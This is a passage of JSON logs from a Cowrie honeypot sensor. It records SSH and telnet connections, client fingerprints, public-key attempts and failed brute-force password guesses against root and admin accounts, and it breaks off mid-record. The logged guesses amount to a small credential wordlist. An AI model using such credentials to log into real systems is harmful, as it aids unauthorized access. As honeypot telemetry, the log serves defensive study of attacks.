{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:4b:77:36:a3:97:8b:39:2c:58:96:d9:01:53:59:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE9pHDYRX0/jvVBnTG0o4OX/Q0/NOi2lXSR5U6xtlRC6vZM9N+jc0eTKDbd3cGVFwatV3nRMHU6375t+ys2uQI1Pv4KtExVNc98BCS9yN9k4gSRhOZYH0EZUdd6d99doX/Jv6eQxkhb6mUf5XFPZlXsFEZanpf8wlRCoLrF1vl55hCKtCiuIAuQQnRD9pJ7b4k/22TAi/JzOglqOvF+/bndhNFmfDt/OLOlzLe1bg98dtz7SR1WpaRFbkS2MTtuQ6ydJnL0dHH7bWjpjQBf2CmdIXaoopbg9+37aqjbV+GSW3+8rai6BF0k9Eh1zt4hcLim5gQgE1+PbZ+5fnUm6jR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:38.844407Z","src_ip":"148.135.70.18","session":"b13a3aed41ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:e7:2f:de:d0:71:e7:cc:5e:12:29:f3:6e:9d:58:89","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKn9lo3W9fidPGPPZyzNy4RJWVqgQgQXLyRvLSub6VP1xaUl0V1k5YhCPIKG1dubxI3VAYyxLMoXlQzYABYBbe64qRuxhbsAJFNWnFK9XUf3imTbBoVEWSXROsBtY6COwPs9Pzl5xmlIBiO1Kv+vfLuTfX2Aydd2/wIV0PRKWuYfAAAAFQD81HTz+F0BLBLwG3Ca8kYu/ZFglQAAAIANO+u1WAKFLyJcH7uLXIS+B8ZnYPqT6YG1ZjRcGHTjRgdSqWpZHwHZJjxTRMNQMICzVwU8ddu6OiPQJebAo6FDZdku3uWCaUwelVewmMCo994c/PZQWGroPyDQIGm5AH9qbqBdrrIUOO/jq5GmwC0p+slklGc7NBe/LXZhUBF5eQAAAIB996WVkCiyuGkCvSiRDwDZBrbBy4TUZ8KcckYnaiDM3pMhnTyiLAGwlg3QoA3HCAy/sZaMuBFOqQe/kXArMZWbJAlG+iRlAFfqK4njkqkovzvlU5QitmBSNo1SB4sakkXUcQxOz885MNxEM4Do+ZcaXMApUSvidSzXhyEzhW4FYw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 42:e7:2f:de:d0:71:e7:cc:5e:12:29:f3:6e:9d:58:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:38.917482Z","src_ip":"148.135.70.18","session":"b13a3aed41ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:e7:2f:de:d0:71:e7:cc:5e:12:29:f3:6e:9d:58:89","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKn9lo3W9fidPGPPZyzNy4RJWVqgQgQXLyRvLSub6VP1xaUl0V1k5YhCPIKG1dubxI3VAYyxLMoXlQzYABYBbe64qRuxhbsAJFNWnFK9XUf3imTbBoVEWSXROsBtY6COwPs9Pzl5xmlIBiO1Kv+vfLuTfX2Aydd2/wIV0PRKWuYfAAAAFQD81HTz+F0BLBLwG3Ca8kYu/ZFglQAAAIANO+u1WAKFLyJcH7uLXIS+B8ZnYPqT6YG1ZjRcGHTjRgdSqWpZHwHZJjxTRMNQMICzVwU8ddu6OiPQJebAo6FDZdku3uWCaUwelVewmMCo994c/PZQWGroPyDQIGm5AH9qbqBdrrIUOO/jq5GmwC0p+slklGc7NBe/LXZhUBF5eQAAAIB996WVkCiyuGkCvSiRDwDZBrbBy4TUZ8KcckYnaiDM3pMhnTyiLAGwlg3QoA3HCAy/sZaMuBFOqQe/kXArMZWbJAlG+iRlAFfqK4njkqkovzvlU5QitmBSNo1SB4sakkXUcQxOz885MNxEM4Do+ZcaXMApUSvidSzXhyEzhW4FYw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:38.921837Z","src_ip":"148.135.70.18","session":"b13a3aed41ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:cc:8f:58:13:f7:97:4e:24:2c:03:4c:64:2f:3b:74","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC1+G0TeKSNes8Vg6HqAlBgzw8gz3F7SedV4edi54eKN","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 47:cc:8f:58:13:f7:97:4e:24:2c:03:4c:64:2f:3b:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:38.990818Z","src_ip":"148.135.70.18","session":"b13a3aed41ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:cc:8f:58:13:f7:97:4e:24:2c:03:4c:64:2f:3b:74","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC1+G0TeKSNes8Vg6HqAlBgzw8gz3F7SedV4edi54eKN","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:38.994626Z","src_ip":"148.135.70.18","session":"b13a3aed41ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:b5:f3:9f:0d:39:13:67:9d:00:03:48:6d:70:26:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDEKbKI9SbY5TZI9yhqBs5anGMDXdxxoLWCisFBDV80pTfPn+qz6mTWM2PQO7CxUOb0iTGH54Xa+ssuFVlfCEiDbRsM8a02IoGEu2N4qFrAnPz9xvse10A2lrZOFT4uw1/FWSkslIh2d6E/KeXWoLzB/urrzob4jlCllwpaBzLsHI5GxejbCR/+erHUeN6eyw8igHHj6DHWxCKK4Js6OdkmRINZR5pofhWUG08ucdeCStJRwIaOuaVnrVyeY8ebataBbxKEZZ2weEjOILJ2LWNo4WBFOvOxgq4Pb2+BrS7JdrDspLrGz0Wg3n9dkHifuUTl0U+IG8YRS5R6Qmqdyegmp8141NtK6Mu3Va18QKxq46aiCF8MR3WrHzc2jlliu1dVmAaYbLR8n6MzONGgAkMBnEdTEYMqfkBDtUEJ2VTZNTM6WYo9g1xOTNhRVp6U30Z719mrEtxkvISTxLl7m/e7zQdpIe2BAaO6Yjm/a+Z8Jc6h3q/0rXW1d1SnNgOgxOirTi3Xd9gLDmbBX6iaNWzu4K+6PQ4Y6ysrG3fWcp0ynUB5Hm2ZvmurMkZL2twZ/Qv4khV0SUiaImgPpXx267SwKgDPGoHPTSHsI6+5XDdUZuwi+4XfIO7iVARtx4oPzvwZVW52NUVU50UBxmTPb50PjgoxRKkwFP/0610Y31cGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:b5:f3:9f:0d:39:13:67:9d:00:03:48:6d:70:26:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:39.063743Z","src_ip":"148.135.70.18","session":"b13a3aed41ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:b5:f3:9f:0d:39:13:67:9d:00:03:48:6d:70:26:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDEKbKI9SbY5TZI9yhqBs5anGMDXdxxoLWCisFBDV80pTfPn+qz6mTWM2PQO7CxUOb0iTGH54Xa+ssuFVlfCEiDbRsM8a02IoGEu2N4qFrAnPz9xvse10A2lrZOFT4uw1/FWSkslIh2d6E/KeXWoLzB/urrzob4jlCllwpaBzLsHI5GxejbCR/+erHUeN6eyw8igHHj6DHWxCKK4Js6OdkmRINZR5pofhWUG08ucdeCStJRwIaOuaVnrVyeY8ebataBbxKEZZ2weEjOILJ2LWNo4WBFOvOxgq4Pb2+BrS7JdrDspLrGz0Wg3n9dkHifuUTl0U+IG8YRS5R6Qmqdyegmp8141NtK6Mu3Va18QKxq46aiCF8MR3WrHzc2jlliu1dVmAaYbLR8n6MzONGgAkMBnEdTEYMqfkBDtUEJ2VTZNTM6WYo9g1xOTNhRVp6U30Z719mrEtxkvISTxLl7m/e7zQdpIe2BAaO6Yjm/a+Z8Jc6h3q/0rXW1d1SnNgOgxOirTi3Xd9gLDmbBX6iaNWzu4K+6PQ4Y6ysrG3fWcp0ynUB5Hm2ZvmurMkZL2twZ/Qv4khV0SUiaImgPpXx267SwKgDPGoHPTSHsI6+5XDdUZuwi+4XfIO7iVARtx4oPzvwZVW52NUVU50UBxmTPb50PjgoxRKkwFP/0610Y31cGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:39.067621Z","src_ip":"148.135.70.18","session":"b13a3aed41ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:39.136517Z","src_ip":"148.135.70.18","session":"b13a3aed41ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":51276,"dst_ip":"159.203.135.109","dst_port":22,"session":"affc631c39d1","protocol":"ssh","message":"New connection: 103.82.20.28:51276 (159.203.135.109:22) [session: affc631c39d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:43.193588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:43.198347Z","src_ip":"103.82.20.28","session":"affc631c39d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:43.469110Z","src_ip":"103.82.20.28","session":"affc631c39d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234q","message":"login attempt [root/1234q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:44.280074Z","src_ip":"103.82.20.28","session":"affc631c39d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:45.563873Z","src_ip":"103.82.20.28","session":"affc631c39d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.229.159.33","src_port":60737,"dst_ip":"10.17.0.5","dst_port":23,"session":"b67e11b5ffa8","protocol":"telnet","message":"New connection: 88.229.159.33:60737 (10.17.0.5:23) [session: b67e11b5ffa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:04:49.823705Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":48686,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd4e231435cf","protocol":"ssh","message":"New connection: 2.57.121.112:48686 (159.203.135.109:22) [session: fd4e231435cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:02.036444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:02.041593Z","src_ip":"2.57.121.112","session":"fd4e231435cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:02.167885Z","src_ip":"2.57.121.112","session":"fd4e231435cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.4902024269104,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:02.313807Z","src_ip":"88.229.159.33","session":"b67e11b5ffa8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cougar1","message":"login attempt [admin/cougar1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:02.642941Z","src_ip":"2.57.121.112","session":"fd4e231435cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cossie","message":"login attempt [admin/cossie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:03.748988Z","src_ip":"2.57.121.112","session":"fd4e231435cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cosmopolitan","message":"login attempt [admin/cosmopolitan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:04.853754Z","src_ip":"2.57.121.112","session":"fd4e231435cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"corpsman","message":"login attempt [admin/corpsman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:05.957098Z","src_ip":"2.57.121.112","session":"fd4e231435cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"corbett","message":"login attempt [admin/corbett] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:07.065937Z","src_ip":"2.57.121.112","session":"fd4e231435cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:08.169174Z","src_ip":"2.57.121.112","session":"fd4e231435cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58528,"dst_ip":"10.17.0.5","dst_port":23,"session":"30013bfb6ee3","protocol":"telnet","message":"New connection: 50.6.8.71:58528 (10.17.0.5:23) [session: 30013bfb6ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:11.738462Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":57490,"dst_ip":"10.17.0.5","dst_port":22,"session":"784c4a6593f2","protocol":"ssh","message":"New connection: 109.237.96.109:57490 (10.17.0.5:22) [session: 784c4a6593f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:35.973305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:35.978053Z","src_ip":"109.237.96.109","session":"784c4a6593f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:36.074512Z","src_ip":"109.237.96.109","session":"784c4a6593f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"boroda","message":"login attempt [root/boroda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:36.355219Z","src_ip":"109.237.96.109","session":"784c4a6593f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:37.468743Z","src_ip":"109.237.96.109","session":"784c4a6593f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.68630814552307,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:48.424653Z","src_ip":"50.6.8.71","session":"30013bfb6ee3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58118,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d63d4011578","protocol":"telnet","message":"New connection: 50.6.8.71:58118 (10.17.0.5:23) [session: 2d63d4011578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:05:53.860124Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":38380,"dst_ip":"10.17.0.5","dst_port":22,"session":"41e2a145f166","protocol":"ssh","message":"New connection: 193.37.70.224:38380 (10.17.0.5:22) [session: 41e2a145f166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:00.459054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:00.468628Z","src_ip":"193.37.70.224","session":"41e2a145f166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:00.559462Z","src_ip":"193.37.70.224","session":"41e2a145f166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"88005553535","message":"login attempt [root/88005553535] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:00.834028Z","src_ip":"193.37.70.224","session":"41e2a145f166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:01.926430Z","src_ip":"193.37.70.224","session":"41e2a145f166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.3960747718811,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:31.256100Z","src_ip":"50.6.8.71","session":"2d63d4011578","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":36632,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3dca014aeb9","protocol":"ssh","message":"New connection: 103.15.222.183:36632 (10.17.0.5:22) [session: f3dca014aeb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:35.363787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:35.368431Z","src_ip":"103.15.222.183","session":"f3dca014aeb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 